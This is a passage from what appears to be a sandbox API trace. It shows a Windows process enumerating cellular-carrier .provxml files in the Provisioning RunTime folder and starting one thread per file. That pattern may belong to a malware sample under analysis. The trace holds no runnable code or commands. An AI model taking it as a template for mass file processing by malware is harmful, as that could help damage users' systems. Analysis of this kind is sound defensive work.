_Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.537] wcscat (in: _Dest=0x2fe2058, _Source="519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\519__Connections_Cellular_Vinaphone (Vietnam)_i0$(__MVID)@WAP.provxml" [0181.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0181.538] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902943e8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902943e8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902943e8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", cAlternateFileName="51__CO~1.PRO")) returned 1 [0181.538] wcscmp (_String1="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.538] wcscmp (_String1="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.538] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16c) returned 0x2fa4fe0 [0181.538] wcscpy (in: _Dest=0x2fa4fe0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.538] wcscat (in: _Dest=0x2fa4fe0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.538] wcscat (in: _Dest=0x2fa4fe0, _Source="51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\51__Connections_Cellular_Eronet Bosnia (Bosnia and Herzegovina)_i0$(__MVID)@WAP.provxml" [0181.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa4fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0181.539] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", cAlternateFileName="520__C~1.PRO")) returned 1 [0181.539] wcscmp (_String1="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.539] wcscmp (_String1="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.539] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fe2868 [0181.539] wcscpy (in: _Dest=0x2fe2868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.539] wcscat (in: _Dest=0x2fe2868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.539] wcscat (in: _Dest=0x2fe2868, _Source="520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\520__Connections_Cellular_VMS MobiFone (Vietnam)_i0$(__MVID)@WAP.provxml" [0181.539] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0181.540] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", cAlternateFileName="521__C~1.PRO")) returned 1 [0181.540] wcscmp (_String1="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.540] wcscmp (_String1="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.540] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2fe16f0 [0181.540] wcscpy (in: _Dest=0x2fe16f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.540] wcscat (in: _Dest=0x2fe16f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.540] wcscat (in: _Dest=0x2fe16f0, _Source="521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\521__Connections_Cellular_Vodafone (Worldwide)_i0$(__MVID)@WAP.provxml" [0181.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe16f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0181.541] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="522__C~1.PRO")) returned 1 [0181.541] wcscmp (_String1="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0181.541] wcscmp (_String1="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0181.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe2460 [0181.541] wcscpy (in: _Dest=0x2fe2460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.541] wcscat (in: _Dest=0x2fe2460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.541] wcscat (in: _Dest=0x2fe2460, _Source="522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\522__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0181.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0181.542] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="523__C~1.PRO")) returned 1 [0181.542] wcscmp (_String1="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0181.542] wcscmp (_String1="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0181.542] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054350 [0181.542] wcscpy (in: _Dest=0x3054350, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.542] wcscat (in: _Dest=0x3054350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.542] wcscat (in: _Dest=0x3054350, _Source="523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\523__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0181.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0181.542] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", cAlternateFileName="524__C~1.PRO")) returned 1 [0181.542] wcscmp (_String1="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.542] wcscmp (_String1="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.542] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x140) returned 0x30569c8 [0181.542] wcscpy (in: _Dest=0x30569c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.543] wcscat (in: _Dest=0x30569c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.543] wcscat (in: _Dest=0x30569c8, _Source="524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\524__Connections_Cellular_Sabafon (Yemen)_i0$(__MVID)@WAP.provxml" [0181.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30569c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0181.543] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912ac947, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912ac947, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912ac947, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="525__C~1.PRO")) returned 1 [0181.543] wcscmp (_String1="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.543] wcscmp (_String1="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x3056b10 [0181.543] wcscpy (in: _Dest=0x3056b10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.543] wcscat (in: _Dest=0x3056b10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.543] wcscat (in: _Dest=0x3056b10, _Source="525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\525__Connections_Cellular_Idea (India)_i0$(__MVID)@WAP.provxml" [0181.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0181.544] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27d, dwReserved0=0x0, dwReserved1=0x0, cFileName="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="526__C~1.PRO")) returned 1 [0181.544] wcscmp (_String1="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.544] wcscmp (_String1="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13a) returned 0x3056da0 [0181.544] wcscpy (in: _Dest=0x3056da0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.544] wcscat (in: _Dest=0x3056da0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.544] wcscat (in: _Dest=0x3056da0, _Source="526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\526__Connections_Cellular_MTNL (India)_i0$(__MVID)@WAP.provxml" [0181.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0181.545] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="527__C~1.PRO")) returned 1 [0181.545] wcscmp (_String1="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.545] wcscmp (_String1="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15e) returned 0x2fa1ff0 [0181.545] wcscpy (in: _Dest=0x2fa1ff0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.545] wcscat (in: _Dest=0x2fa1ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.545] wcscat (in: _Dest=0x2fa1ff0, _Source="527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\527__Connections_Cellular_Reliance Communication (India)_i0$(__MVID)@WAP.provxml" [0181.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa1ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0181.546] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="528__C~1.PRO")) returned 1 [0181.546] wcscmp (_String1="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0181.546] wcscmp (_String1="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0181.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe1af8 [0181.546] wcscpy (in: _Dest=0x2fe1af8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0181.546] wcscat (in: _Dest=0x2fe1af8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0181.546] wcscat (in: _Dest=0x2fe1af8, _Source="528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\528__Connections_Cellular_Vodafone IN (India)_i0$(__MVID)@WAP.provxml" [0181.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0181.547] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912d2bb2, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912d2bb2, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912d2bb2, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="529__C~1.PRO")) returned 1 [0181.547] wcscmp (_String1="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0181.547] wcscmp (_String1="529__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0181.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054bd8 [0181.547] wcscpy (in: _Dest=0x3054bd8, _Source="C:\\Users\\All 